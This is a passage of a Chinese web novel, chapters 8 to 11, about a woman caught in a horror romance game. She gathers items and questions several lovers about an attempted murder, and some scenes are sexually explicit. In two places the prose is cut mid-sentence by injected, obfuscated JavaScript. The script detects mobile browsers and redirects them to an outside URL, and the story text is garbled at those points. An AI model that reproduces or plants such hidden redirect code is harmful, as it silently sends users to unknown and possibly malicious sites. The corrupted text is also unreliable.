跪在地上的那人顿时松了口气,抬眸悄悄瞅了羽生一眼,随即又很快低下头,装作一副战战兢兢的模样。 季白的目光被羽生所遮挡因而并没有注意到这人的小动作,而是把所有的注意力都放在了羽生身上。 “那你呢?”季白问。 “我……”羽生低下头小声说,“夫人厌弃了我,我留在花房就是,绝不再碍夫人的眼。” 季白看了看他脸上的脏污,放缓了声音说:“昨儿是我失言,你就忘了吧。” “你去收拾东西和我回去。” “真的?”羽生眼神放亮,好像从不曾把季白的冷言冷语放在心上。 无论季白怎么赶他,只要季白需要,他就会无怨无悔地跑回来。 “嗯。”季白肯定地应了一声。 羽生得了这话自是欢天喜地,但他并没有立刻就走 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羽生神色不解:“三天前的夜里?夫人是不是记错了,那天夜里夫人并没有见过我啊。” “是吗?”季白拍了下脑门,“那大概是我记混了,那天我和闻人瑾吵了一架。” 季白说到这儿又叹了一声,“我们吵得很凶,全院的下人都听见了,我也一整晚没睡好,那天晚上你在哪呢,也不说来安慰安慰我。” 羽生眼中闪过一抹愧疚,“抱歉夫人,我那天身子不太舒服早早睡下了,若知道那天晚上大公子惹您不快,我定会过去陪着夫人。” “你是说,那天晚上你早早睡了?”季白又问了一遍。 羽生又仔细想了想,而后一脸肯定地说:“没错,我平时都睡得晚,只有那一天睡得格外早,我不会记错的。” 季白侧过头看了春桃一眼,春桃亦是一脸惊诧,她张嘴就想要为自己辩解,季白却悄悄把手指放在嘴边做了一个嘘的手势。 她转过头,眼中多了一抹兴味。 三个人三份不同的说法,然而真相只有一个,是他们谁在说谎呢。 “夫人,我进去取东西,您在这儿等我就好。” 季白还挂念着第二个任务,想着陪他一起收拾的话或许可以看见所谓的通关道具。 羽生明面上的身份是小厮,他身边的东西最少,他的通关道具也应该最好找。 “我陪你一起。” 下人的房间实在窄小,季白一进去就感觉完全没有落脚的地方,只要一个人走动起来就定然会碰到另一个人,季白索性站在门边看着羽生收拾。 昏暗的房间里彼此的呼吸声清晰可闻,羽生收着收着就感觉热了起来,脑门上都出了一头的汗,呼吸也越来越急促在这安静的房间里越发明显了。 无言的尴尬与暧昧在他们两人之间弥漫,空气也开始升温,季白正想退出去,却见羽生从床底下取出一物谨慎地装进了包袱里。 那东西虽然被包裹的很好,但还是露出一条小缝让季白窥探到了一角。 那是一件极其华美的东西,莫说以羽生小厮的身份,就算季白穿进来这么多天,也从未在闻人府见过那般贵重的宝物。 季白眼神闪了闪,暗想,看羽生宝贝的程度,那东西应当就是通关道具了吧。 8. 第 8 章 季白抬脚走到羽生身边,弯着腰笑问:“这里面是什么东西啊,让你这么宝贝?” 羽生半蹲在地上抱着包袱,听季白问他方仰起头来,摸了摸包袱皮轻声说:“是我爹娘留给我的东西。” 季白眼神闪了闪,家传的东西,看来羽生的真实身份果然不简单。 但季白对挖掘羽生的真实身份毫无兴趣,她只在意羽生怀里的东西对他而言,是不是重要的东西。 “那这东西对你而言一定很重要吧?”季白问。 羽生笑得灿烂,像是阳光下一朵粲然而开的花。 “是,它是对我而言很重要的东西。” “但是……”羽生顿了顿,抬手抓住季白的手,在她的手背上落下虔诚的一吻,“再重要的东西也不及夫人万一。” 季白轻轻柔柔地笑了,她缓缓抽出自己的手摸上他秀美细嫩的脸庞,手指无意识地摩挲着他的下巴,指尖好似要碰到他的唇,但每一次都恰到好处的避开了。 她眼神玩味,意有所指。 “羽生,重不重要不在语言,而是行动。” 季白说着,目光扫了羽生手上的包袱一眼,笑眯眯地收回了手,说:“我在外面等你。” 大家都是成年人,且羽生很聪明,她相信他能理解她的意思。 季白在屋外没等一会羽生就出来了。 回去的路上,两个人谁也没有再提刚刚在屋里发生的事,而是有一句没一句地闲聊着。 季白忽而话音一转,指了下自己脖颈上的伤痕,问:“羽生,你还记得我这儿的伤是怎么来的吗?” 季白说着还装作害怕的样子瑟缩了下,她朝他的身边靠了靠,在他耳边用只有两个人能听见的声音说:“那天早上醒来我就发现我脖子上多了一道可怕的勒痕,有人要杀我,可我完全不记得是谁做得了。” 她又压了压声音,试探性地问:“你说,会不会是闻人瑾知道了你我的事,所以想杀了我?” 季白注意到她在说这话时,羽生眼中有一闪而过的嫉恨与毒辣。 “他对你动手了?”他的面容依旧秀美纯净,可说出口的话却是与表面不符的狠辣,“我帮夫人杀了他,夫人就再也不必担忧了。” “不可。”季白连忙劝阻了他。 她当然不能再说因为闻人瑾是她夫君这类刺激他的话,只是一脸真诚地说:“你若对他动手,将来事败你也会受到牵连。” “羽生,我不想你出事。” 羽生眸光闪了闪似是感动。 他情不自禁地捧上了季白的脸,轻声说:“夫人,如果这是假的,我也愿意听一辈子。” 他倾身轻轻吻在了季白的唇上,“我喜欢听你说,你有多在意我。” 一旁的春桃把头低得都快埋进土里了,极力降低自己的存在感,假装自己什么也没看见。 季白带着羽生回去后,羽生先独自回去收整东西。 恰巧到了午膳的时间,季白的肚子也有点饿了,便先传膳吃饭。 春桃得了命,连忙下去安排。 季白独自一人靠坐在春塌上一面看着庭院的美景,一面暗想着今天羽生说的每一句话。 杀害原主的凶手很快就能浮出水面,不过在此之前,她还需再去找褚师怀最后确定一下。 季白一想到褚师怀那个疯子,是一万个不愿意去招惹的,说不好她话还没说上一句就被褚师怀先杀了。 那家伙是真的想和她共死。 她正想得入神,就听有清浅缓慢的脚步声从廊下传来,她转过头就看见闻人瑾来了。 他今日穿着一件天青色祥云纹的宽袖交领锦袍,袖口和衣领又用银线滚了一层边,眼上覆着的绸缎也换成了天青色,使他看起来素雅脱俗,仿佛下一秒就会羽化成仙了。 “娘子,你在吗?” 季白没有第一时间出声应他,而是默默观察着他。 “娘子?”他又提高了音量呼唤季白,下巴微微偏了偏,似乎是在疑惑季白怎么不在。 季白敲了敲桌面,笑着应了一声,“我在呢。” 闻人瑾闻言轻薄的唇角向上扬了扬,古板的神像在一刹间生动起来。 他脚步缓慢地朝季白的方向走过来了。 他一定是对这座院子极为熟悉,所以才能在瞎眼的情况下不靠任何人的帮助走到她面前。 “你是在春塌上坐着吗?”闻人瑾笑着说,“怎么我刚刚进来半天也不出声?” “今天厨房炖了你喜欢的红烧排骨和猪肚鸡……” 季白每每和闻人瑾相处时,都能体会到那种日常生活的平淡幸福感,好似他们真的是一对普普通通的恩爱夫妻。 闻人瑾一面说着话一面走到了季白面前,季白仰头看他,说:“比起这些,我更想吃一顿火锅。” 闻人瑾低下头凑近她的脸庞,似乎是在用肢体感知她的存在。 “下午让他们做。” 他的手抚上了季白的脸庞,鼻子在她的发间闻了闻,轻声说:“牡丹花的味道,你今天去哪了?” 季白眨眨眼,“去花园里逛了一圈。” 闻人瑾没有说话,只是覆着绸缎的眼睛微微向下看了看,如果他的眼睛看得见的话,他的目光应是落在她的唇上。 “花开的好吗?”他问。 “还不错。” 闻人瑾抬手轻点了下她娇嫩的唇,随即又一圈圈地描绘她的唇形,像是抚慰又像是擦拭。 “听说牡丹花做成的口脂色泽鲜亮,花香清雅,我今日偶得了一罐想请夫人试试。” 季白摇头拒绝,“我不喜欢涂脂抹粉。” 闻人瑾描绘唇形的手一顿,停了很久,他方问:“是不喜欢涂脂抹粉,还是不愿为我梳妆?” 他收回手自嘲一笑,“也是,我什么都看不见,哪怕娘子再浓妆艳抹,与我而言也是徒劳。” 季白抓住他收回的手,温声道:“你若想让我试试,我就试试。” 季白抓着他的手重新放在自己的唇上,“你看不见,但可以感受得到,不如夫君亲自为我梳妆?” 闻人瑾找来他口中的口脂来为季白涂抹红唇,他没有用涂抹口脂的软刷,而是用手指沾了膏体,在一点点地在季白的唇上推开。 微凉的指腹在她的唇上缓慢摩挲着带来阵阵酥麻的刺激,她抬眸望着眼前俊逸出尘的 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上午骂得最凶的张三迎了上来,笑容满面一脸狗腿地问:“生哥怎么来了?难道是少夫人还没原谅您?” 羽生扔给他一袋钱,道:“你们上午做得很好。” 那人收了钱和其余的下人们分了,他们一个个又惧怕又开心地和羽生道谢。 “我需要你们再做一件事。”羽生神色冰冷,丝毫没有在季白面前的可怜与柔弱。 那人弯腰赔笑:“生哥尽管说,我们肯定帮。” 按理说他们都是下人,谁也不比谁低贱,羽生从前的那些事也是满院都知道的事。 从前他们嘴里一个又一个地骂着羽生低贱狐媚勾引老爷,可心里却想的是羽生忒不识抬举,老爷看上他是他的福气,可他却宁死也不从。 老爷自是咽不下这口气话里话外暗示下人们都可以去欺辱羽生,那段时间就连府里的狗都比羽生过得好些。 后来老爷走了,少夫人看中了羽生调到了身边去,一些人自然是不服气,什么脏的臭的都往出骂,但很快人们发现出不对劲了。 凡是府里骂过羽生的人都死了。 死法可怖又诡异,偏偏又找不着羽生下手的证据。 直至死了十来个人后,下人们才隐隐约约意识到了什么,他们再也不敢骂羽生了,甚至看见他……都打心底里害怕。 昨天羽生找到他们扔给他们一笔钱,让他们陪他演一场戏。 别说有钱,就算是羽生一毛钱都没有,他们又怎敢忤逆? 他们上午的时候一个比一个骂得凶,可心里都是直打鼓,那些话可都是羽生让他们骂的。 羽生还说若是骂得不能让少夫人心软,他们一个都跑不掉。 “这件事我要你们烂在肚子里。”羽生说,“要是走漏了风声,你们知道后果。” 只是轻飘飘的一句话,可他们却仿佛见了鬼一样,一个个吓得战战兢兢,指天誓日地发誓绝不会走漏半点风声。 “别怕,事成后不会亏待你们。”羽生说,“我要你们帮我……” 9. 第 9 章 “别弄了。”季白推了闻人瑾一把,她进屋时天还亮着,如今天都快黑了。 她原本还打算下午去找褚师怀一趟,如今让闻人瑾这么一闹,全泡汤了。 闻人瑾抬起头来,声音哑得不成样子,贴在她的耳边说:“娘子,是你说我看不见,但可以感受得到。” 炙热的吻凌乱汹涌地落在她的皮肤上,指腹的碾磨更让她大汗淋漓,混乱中她听见他粗喘着低声说:“我正在认真感受你。” 他拉着季白的手往下拉,窗外的雨声不合时宜地落在季白的耳边,暗哑低沉的嗓音像是加了蛊惑人心的春药,一切都在水声中变得迷乱,仿佛屋外倾盆的雨穿过屋脊落在了她的身上。 “爽吗?”他问。 季白顾不上回答,他已经又覆了上来。 手指强势地穿过她的指缝与她的掌心紧紧相贴,不留一丝的缝隙。 他低声在她耳边问:“比起他们,我也不算差吧?” 然而季白根本无法回答他,她的嗓子干得厉害,大脑也已经彻底死机,只剩下最原始的本能,她仿佛快要喘不过气了,一波一波涌上的刺激将她彻底吞没。 等她再次清醒的时候,只觉全身酥软酸痛,连抬下胳膊的力气都没有了,只要微微一动,双腿就疼得厉害。 “你醒了。” 季白偏过头去,就见闻人瑾穿戴整齐,脊背挺直如松地坐在床边,鹤灰色的圆领提花锦袍规规矩矩服服帖帖的穿在身上,腰间还系着一根嵌着玉带勾的革带,其上坠着玉佩。 就连他的头发都没有一根乱了。 整齐规整得像是刚刚什么都没发生过,明明在她失去记忆前他还和失了理智一样地压在她身上疯狂索取,可现在又像是无欲无求的仙人了。 反而是她仍是一副备受摧残的模样…… “你……”季白刚说了一个字,发现自己的嗓子哑得不像样。 闻人瑾从下人手中接过茶盏摸索着递到季白嘴边,季白低下头一饮而尽,而后又一头倒回床上。 闻人瑾薄唇轻启,声音清越如仙乐,“膳食都备好了,要吃点吗?” 季白本该吃的是中午饭,可硬生生熬成了夜宵。 季白探头看了眼窗外浓稠的夜色,问:“现在什么时辰了?” “快子时了。” “子时?!”季白惊叫出声,随后又摸了摸肚子,“难怪我这么饿呢。” 闻人瑾抿了下唇,如玉般白皙的脸庞染上了一抹红晕。 季白瞅着他脸上的红晕,对这个人的好奇心达到了顶点。 说他不害羞吧,她还什么也没干呢,就脸红了,说他害羞吧,床上又好似变了一个人一样。 他这种……算是闷骚吧? 闻人瑾温声道:“我让他们把饭菜给你端到床上吃。” “不必不必。”季白连连摆手,“我还不至于到那种程度。” 闻人瑾嘴角微微扬了扬,脸红但又一本正经,“看来我还不够努力。” 这一句话让季白险些又摔回床上。 她咬着起来了,看着季白那张完美无瑕的面容,忍不住心想,真是美色误人啊。 她的时间本来就不多,今儿这一闹半天就过去了。 她吃过东西又简单洗漱了下,就上床歇了,次日一早,季白早早就醒了。 季白换衣服时,闻人瑾就立在一旁,语气不明地问:“你今天还要出去吗?” “我出去走走,不然整天闷在屋子里人都要闷坏了。” 闻人瑾勾住她的手,“可是自从你失忆后,你就没有一天待在屋里。” “娘子。”他拉起季白的手,用脸颊轻蹭她的掌心,“就今天好不好?留下陪我一天。” 季白看着闻人瑾的动作,无端感觉他现在的行为分外熟悉很像一个人,但她一时没有想出来。 不过这样一位玉树兰芝,高山莹雪的人弯下腰对你撒娇,实在让人很难招架。 正在季白犹豫间,许久不说话的系统突然说话了。 【请宿主不要忘记自己的任务,不要被男主们的美貌蛊惑。】 【休息一天也没事吧?上班还做五休二呢。】 【再次提醒宿主,距离任务结束只剩五天十小时。】 五天啊,季白正在心中算计呢。 一旁的闻人瑾迟迟没有得到季白的回答,眉间闪过一抹冷意,他松开握着季白的手,语气依旧温和,“想去就去吧,记得早点回来。” 季白都准备一咬牙答应了,结果见闻人瑾突然让步了,也就顺水推舟的应下了。 闻人瑾听着她轻快的脚步声渐渐远去,室内最后一抹属于她的馨香也消失不见,他微微低下头嗅闻自己的手指,良久,他放下手在空荡荡的房间呢喃自语。 “还是不行吗?” “不管我怎么做都比不上他们,都留不住她。” 季白这一次没有带春桃,而是一个人去了褚师怀的院子。 让季白惊讶的是,褚师怀的院子竟和她与闻人瑾住的院子十分近,按理说,褚师怀一个外男应该住在外院才对。 不过季白转念一想,这儿是游戏世界,还是专门恋爱的游戏世界,也就没有那么惊讶了。 院外只有一小厮守着见季白来了,竟连通禀都不通禀就直接领着季白进去了。 季白推测大概是原主从前就经常找褚师怀,因而他习以为常,见怪不怪了。 褚师怀的院子明显是比不上她和闻人瑾住的那间,院子里也没有多少花花草草,反而有一块专门空出的平地,边上还摆了一个武器架,其上刀叉棍棒样样齐全,最远处还放着一个箭靶。 可见院主人是一个爱武之人。 季白收回目光捏了捏指尖,心不由紧张起来,她是真怕等会一进去褚师怀就突然跳起一刀杀了她。 她打定主意等会见了褚师怀一定要多说几句好话,只要把他的情绪稳住,他应该也不会对她动手了吧? 季白这么想着,就已经被小厮领进了屋,她先闻到了一股浓烈的药味,紧接着就发现这屋子里的光线很暗很暗,让人一进来就感觉心情压抑。 “公子,季姑娘来了。” “咳咳。”内室传来一人的咳嗽声,“她不会来了。” 褚师怀病了? “公子,我没骗您,季姑娘真来了,不信您瞧。” 季白捏了捏指尖,主动走上前去唤了一声,“怀哥哥。” 她记得上次褚师怀颇为亲密的叫她小白,他们既是一起长大的关系,一声怀哥哥不过分吧? 说不好原主之前就是这么叫他的。 褚师怀坐起身来定定瞧着她,并没有她想象中的暴跳如雷,反而像是美梦成真的狂喜与不可置信。 季白被这样的眼神盯得有点心虚,她总觉得褚师怀的感情太过炙热,像是一团火一样,焚毁了她也焚毁了自己。 “你怎么会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879163|159720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来看我呢?” “你恨我恨到想要杀了我,巴不得我从世界上消失好成全你和他。” “是幻觉吧?也只有在梦里才能再听见你唤我一句怀哥哥。” 他嘴上说着是幻觉,是梦境,可眼神却一瞬也不移地紧盯着她。 明知是假,也想要多看一眼。 季白没想到自己歪打正着还真赌对了,瞧褚师怀的样子应是还对她余情未了。 她心里有了底气,大着胆子上前了一步,说:“是我,是我来看你了,不是幻觉也不是梦。” 季白话音刚落,褚师怀像是被人突然惊醒了美梦一般,他一把抓住季白的手腕,神色又变得狰狞扭曲,“你是又来杀我的?” “还是说……”他一个用力将季白拽到床上压在了身下,“你想好了,打算与我共死?” 如果黑化度有准确值的话,褚师怀一定是最高的。 他已经完完全全的疯了。 分不清现实与幻想,想法一会一变,刚刚还柔情的人,下一秒就要杀了你。 “都不是。”季白连忙解释。 可褚师怀并没有信,仍然没有放开她,充满进攻性的眼神让人毫不怀疑他下一秒会掐死她。 季白抬手摸上褚师怀额头上的伤,眼神心疼又愧疚,“还疼吗?” 褚师怀颤了下,抓着她手腕的手松了松,季白立即挣开他的手有了动作,褚师怀下意识地以为季白又要杀他,眼中是果然如此的绝望与心碎,然而下一秒季白却抱上了他的腰身,脸靠在他的胸膛里。 “对不起啊,怀哥哥,我又办错了事,伤害了你。” 脸颊下是他身上柔软的布料,隔着这层布料,她感受到他充满男性气息的紧实肌肉,源源不断的热量熏得她的脸颊也热乎乎的。 胸膛仿佛地震一般,先是轻微的颤动,紧接着是地动山摇的崩塌。 他剧烈喘息着,是竭尽全力也无法制止的震颤,他的声音仿佛从遥远的天际,最深的山谷传来。 “你又想耍什么把戏?” 湿漉漉的泪水染湿他胸前的衣襟,也灼烫着那颗埋在胸膛下的心。 “我知道我现在如何解释,你也不信我了。” “可我还是想说,我对你的心从来没变过。” 季白说着抬起头指着脖子上的勒痕,“你看得见我脖子上的伤吧?” 褚师怀眼神闪了闪,没有说话。 “你真的认为他会一直容忍我们之间的事吗?如果我们再不了断,他会杀了我,再杀了你。” “可我知道你不会放手,我只能用那么激烈的手段赶走你。” “我可以不在意我的心,但我不能不在意你的命。” 季白的眼泪似是断了线的珠子,一滴一滴地往下落,染湿了枕头,可褚师怀的神色依旧是沉默的,冰冷的。 他甚至没有抬起手帮她擦一擦泪,仿佛是台下最冷漠的看客。 “我以为我这样做会对你好,可我现在才明白是我大错特错。” “我不祈求你原谅。”季白哽咽着说,“只希望你能活着,好好活着。” 季白在撒一个可以被轻易拆穿的弥天大谎,可她在赌,在赌他的心宁愿相信这个可以让人接受的谎言,也不愿直面那些鲜明赤裸的真相。 褚师怀的手摸上她的脖颈,是在温柔的爱抚,但也可能随时会掐断她脆弱细嫩的脖颈。 “我为什么要相信你?”他说。 10. 第 10 章 季白的眼角流下一滴泪,她没有解释,只是用凄楚悲凉的眼神注视着他。 “怀哥哥,真没想到我们也会走到今天这一步。” “你也会对我说出这句话。” 褚师怀放在她脖子上的手蓦地一松,温热的指尖轻轻抚过她的伤口,带来轻微的刺痛和痒意。 鸦青色的长睫遮住他的眼眸,让人猜不透他在想什么。 但季白却无端觉得他信了,也心软了。 “他真的要杀你我?” 这句话不同于他往日表现出来的疯癫极端,是诡异的沉静平稳,细听下来似乎还隐藏着淡淡悲哀与心碎。 褚师怀的反应有点奇怪,正常人得知有人要杀自己,一般不是担忧害怕就是愤恨恼怒,可褚师怀这两种情绪都没有。 “难道还能是我自己做的吗?” 褚师怀轻轻抚摸着季白细嫩的脖子,除了最开始的勒痕还有褚师怀后来留下的掐痕。 “当时一定很疼吧?” “抱歉,是我没用。” “我没想到他竟然真的会伤害你。” 季白浅笑,“已经不疼了。” 褚师怀抬起头定定看着她,眼中是迫不及待的坚决,“小白,我想好了,我要带你离开这儿。” “这一次无论是谁也不能再阻止我们了。” 季白的脑子开始飞速旋转,把所有关于褚师怀的事情串联在一起,尽量拼凑出原主和褚师怀的过往。 她想了很多,可现实不过是一眨眼的时间。 “好,我跟你走。”季白点头,随即又不确定地抓住褚师怀身前的衣襟,问,“你这一次不会又抛下我吧?” 褚师怀捧着季白的脸,在她额上落下一吻,“我发誓绝不会再与你分开,哪怕让我做一个背信弃义,得鱼忘筌的人,这一次我也绝不会再放开你的手。” “我相信怀哥哥。”季白笑得甜美,“只是府规森严,闻人府势大,我们若想安全从这儿逃离,需得从长计议。” “我记得下个月阖家要出府敬香,我们不如在那天离开,那时你身上的伤应当也都好了。” 褚师怀笑得明艳,他本就属于红绮如花的浓颜长相,如今一笑倒真是说不出的风流恣意,潇洒逸凡,恍若意气风发的少年郎。 季白一时间看得有些痴了。 褚师怀见季白这幅傻傻的模样,忍不住捏了捏她的脸颊,扬唇笑道:“怎么还傻了?好似不认识我一样。” 季白确实是第一次见褚师怀这幅模样,在她的印象里,他一直是一个情绪不稳定的疯子,可现在的他完全颠覆了她的印象,眉眼中流露出的疏朗与明媚像极了驱散黑暗的暖阳。 她总算理解了春桃提起他时,眼中的那一抹羞涩,说他是冠盖满京华人人想嫁的如意郎君。 季白靠在他的怀中,轻声说:“我只是太高兴了,我终于能逃离闻人府这个囚笼,跟你走了。” 季白说完,自己也愣了一下。 与其说这句话是深思熟虑的演戏,不如说是脱口而出的欣喜。 她突然想起原主胳膊上留下的那个“逃”字,还有系统说的从来没有原主,自始至终都只是她一个人。 她的背后升腾起一股凉意,不敢再细思。 她不可能是古代闻人府的季白,她生在现代,长在现代。 “怎么了?”褚师怀察觉到季白突如其来的冷颤,一脸担忧。 季白摇头,“我没事。” “你的身体还是这样不好。”褚师怀如同亲昵热心的邻家哥哥喋喋不休地说着,“从前我教你的强身健体的拳法你可练了?滋补的药膳你可日日吃了?那拳要天天练,药也要日日吃,你总是吃一日,丢一日,身体怎么能好?” “你还说我,你自己不也……”季白话说到一半又止住了话头。 褚师怀的伤和病都是因她而起,她还真是哪壶不开提哪壶。 褚师怀却半点也没有在意,他直起身子,似是故意要和季白证明似得,拍了拍胸脯笑着说:“你来看我,我都好了。” “你无事,我也就放心了。”季白一面下床一面说,“我出来有一会了,该回去了,若让他察觉我来找了你,恐又生事端。” “刚来就要走?”褚师怀抓住季白的手,目光灼灼,“再陪我一会。” “你上次不是说想和我学射箭吗?今日正好可以教你。” 季白犹疑,“可是你还伤着……” “这点小伤不碍事。”褚师怀起身道,“容我换身衣服。” 他一起身季白就看见刚刚被他压在身下的青色帔帛,帔帛的颜色和纹路让季白有一种熟悉之感。 褚师怀见季白一直盯着他的床,眼中颇有些不解,回头一瞧就看见了床上的青色帔帛,他的脸登时红了。 “我……我……“他手足无措地站在那儿,一时之间不知是该先解释,还是该先把它收起来。 季白眼圈一红,故作伤心地质问:“这是何人的东西?怀哥哥若是有了新人,又何必来招惹我?” “这是什么话?”褚师怀急忙解释,“我哪有什么新人,从来心里都只有你一个。” 他说到这儿,顿了顿,脸红得更厉害了,但还在强装镇定。 “小白难道连自己的东西都不认识了吗?” 季白一惊,“是我的?” 褚师怀伸手拾起床上的青色帔帛,指尖轻轻摩挲着柔软轻薄的布料,似是在回味着什么,他低声说,“除了你,还能有谁呢?” 季白看着他红红的耳朵尖,一时间也有几分脸热。 他为何要把她的帔帛放在床上? 褚师怀转身将帔帛收进柜中,又找了件方便行动的圆领窄袖的锦衣换上,等他从屏风后走出来时,季白已经平复了心绪。 “你都拿了我的东西,我却没有你的东西。” 她没有忘自己今天来的第二个目的。 褚师怀轻笑一声,“我送你的东西还少吗?” 他揉了揉她的发顶,眼神宠溺,“这次又想要什么了?” 有这么一瞬间,季白觉得他不是恐怖乙游里的发疯男主,只是宠溺她的邻家哥哥。 季白佯装思索,想了半天,笑着说:“我要一件特别的东西,不知怀哥哥肯不肯给?” “你要什么,我都给。” 他答的毫不犹豫。 季白对上他含笑的眼眸,知道他的话是真的,而不是甜言蜜语的谎言。 只要她要,他真的会给。 季白其实从来不信爱情,可当一个人真的把他的所有包括性命都心甘情愿的奉给你时,没有人会无动于衷。 “我要一件对怀哥哥来说最重要,最珍贵的东西。” “好。”褚师怀牵住季白的手,扬眸道,“今天学会射箭我就给你。” “要这么难?” “不难,射中靶子即可。” 前院,季白照着褚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879164|159720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师怀的教导拉弓搭弦,睁着一只眼睛将箭对准五十米开外的人形靶子,那靶子的四周已经掉了十来支箭,都是季白失败的作品。 她长呼一口气,松手放箭,箭如一道闪电般射了出去。 季白屏息以待,紧张的不得了。 然而这一箭还是歪了。 季白丧着脸控诉道:“这一点都不简单,褚师怀,你明明就是不想给我。” “我不练了。” 褚师怀轻笑一声,跨步上前站在她的身后,疏朗的声音从背后传来,“这么快就放弃可不像你,我再教你一遍。” 他话落,季白的手就被他的握住,炙热的温度瞬间勾走了她所有的注意力让她无心关注别的,他在她的耳后低声说着话,呼出的气息悉数落在她的耳畔,酥酥麻麻的痒意让她险些握不住手里的弓。 他握着她的手抬起弓,整个人像是被他抱在怀里一般。 “看好了。”褚师怀说,“记住这个位置。” 他话音刚落就松开了手,箭如流星般飞了出去,随后只听咚的一声,正中靶心。 “射中了。”褚师怀在她耳边轻笑。 温热的气流窜进她的耳蜗弄得她痒痒的,她微微侧了侧头躲避,可褚师怀却突然低头吻上她的唇,她的心顿时漏跳了一拍,他吻得轻柔似是在炎炎夏日舔舐着一个舍不得吃掉的冰淇淋,可很快他就变得不知足,抬手按住他的后脑勺开始汹涌的进攻,舌尖探入她的嘴中,恨不能将她整个吞吃入腹。 季白被他吻得腿软,良久,褚师怀才放开她。 只见两人的唇都被吻得艳红,还泛着一层水光。 褚师怀的喉结滚了滚,眼眸灿烂若星,“今天的箭术课结束了,你该回去了。” “诶?说好的礼物呢?” 褚师怀笑得明媚,“小白射中了不是吗?我当然要遵守约定。” 季白回眸看了眼场上的靶子,那最后一箭明明是褚师怀带着她射中的。 褚师怀递给她一把弓。 季白回过神来,一脸不解地望着他。 这是什么意思? 还得练? “这是我最重要,最珍贵的东西。”褚师怀垂下眼帘一字一句地说,手指摩挲着用?檍木制作而成的弓身,他怀念的神色看起来不像是作假。 褚师怀的通关道具是一把弓? 季白看着这把制作精良的弓,弓身上镌刻着她看不懂的神秘纹路。 “我把它交给你了,你可要好好待它。”褚师怀抬起眼眸笑着说。 季白总觉得他说的不仅仅是弓。 “好。” 季白告别褚师怀回了她和闻人瑾的院子,一回去她就匆匆往卧室去。 她想起来那件帔帛的颜色和纹路在哪里见过了。 春桃:“少夫人在找什么?” 季白指着衣柜里和那条帔帛颜色纹路相近的衣服,问:“你还记得我上一次穿这件衣服是什么时候吗?” 春桃想了想说,“大概是一周前吧。” “具体的时间呢?” “六天前。” 是原主死的那一天,也是她穿过来前的那一天。 春桃小声嘀咕了一句,“这件衣服本该还有条搭配的帔帛,可那件帔帛却不知去哪了。” 季白垂眸沉思,在思索间突然看见在衣柜的最深处放着一个上了锁的木匣。 直觉告诉她,里面的东西一定对原主很重要。 11. 第 11 章 季白蹲下身子取出藏在衣柜最里层的匣子,问:“有钥匙吗?” 春桃摇摇头,“这里面的东西少夫人从来不准我们动。” 季白摸了摸锁,最后问春桃要了把斧子,强行破开了。 木匣里并没有珍宝,而是放着满满当当的信。 信封上都用飘逸的字体统一写着六个字——吾爱小白亲启。 季白取出几封拆开一瞧发现皆是从前的褚师怀写给原主的信。 【小白,江南风景秀丽,憾不能与卿同赏,卿不在,柳树红花也失了颜色,莺啼声声也没了趣味,只盼他日能与卿共赏江南的楼台烟雨,我不日就归,念卿一万遍,万望珍重。】 【小白,卿送我的海棠开花了,红嫩妖娆,暗香盈袖,不愧为花中神仙,不过照我看,不及小白半分。我先前所寄之书,卿可曾收悉?缘何不赐回书,莫非犹为前事恼我?我自知皆是我的错,忘卿海涵,卿如何皆好,惟愿莫不理我,盼卿回信,念卿一万遍,万望珍重。】 【小白,你我缘尽于此,是我负你,我无话可讲,惟愿你与?子瞻?和和美美,白头富贵,勿念。】 【小白,安否?】 【小白,安否?】 【小白,安否?】 这样问安的信每月都有一封,持续了二年。 【小白,我后悔了。】 季白一封一封的看下去,心也跟着信上的内容起起伏伏,仿佛也亲身体验了一次和褚师怀的两情相悦,一刀两断。 原来原主从前和褚师怀真的是一对青梅竹马,情投意合的情人,可是原主为何会突然嫁给不爱的闻人瑾? 褚师怀的信上也未提起半分,明明上一封信还在卿卿我我,下一封信就恩断义绝了。 变化之快,连季白都无法承受,也不知当初的原主是怎么熬过来的。 季白把这些信都一一收入木盒中,廊外突然传来急促的脚步声,“少夫人,少夫人!” 春桃喝道:“喊什么?冒冒失失没一点规矩,若是惊扰了少夫人拿你们是问。” 季白问:“出了何事?” 那丫鬟惊叫道:“少夫人,不好了!大公子出事了!” 季白眉头一皱,忙问:“出什么事了?” “大公子今日照常在书房听书,可刚喝了一口茶,就吐了一口血,人现在已经昏迷不醒了。” “请少夫人快过去看看吧。” 季白一惊,闻人瑾好端端的怎么会吐血? “可有请大夫?”她一面往书房赶一面急声问。 “请了,大夫说……大公子是中毒了。” “此毒毒性甚烈,只需一滴就可夺人性命,眼下大公子已是命悬一线,几位大夫正在全力救治。” 骤然间出了这么大的事,闻人夫人定然已经知晓。 季白想到闻人夫人的难缠,就觉颇为棘手,这地方是真不能再继续待了。 季白一面在心里盘算着任务,一面问来的丫鬟。 “夫人可知道了?” “夫人还不知。”丫鬟说,“大公子晕倒前,怕夫人担心,刻意叮嘱我们不准惊动夫人。” 季白松了口气,又在心中询问系统。 【系统,如果我拿到所有的通关道具是即刻就能离开游戏副本吗?】 【拿到道具并前往指定地点提交后,就能立刻离开。】 系统说完这句话,又罕见地追问了一句。 【闻人瑾眼下生死未卜,这种时候你的心里也只有任务吗?】 这句话问的古怪,就连语气都没有了往日的冰冷,而多了一分……属于人的气息。 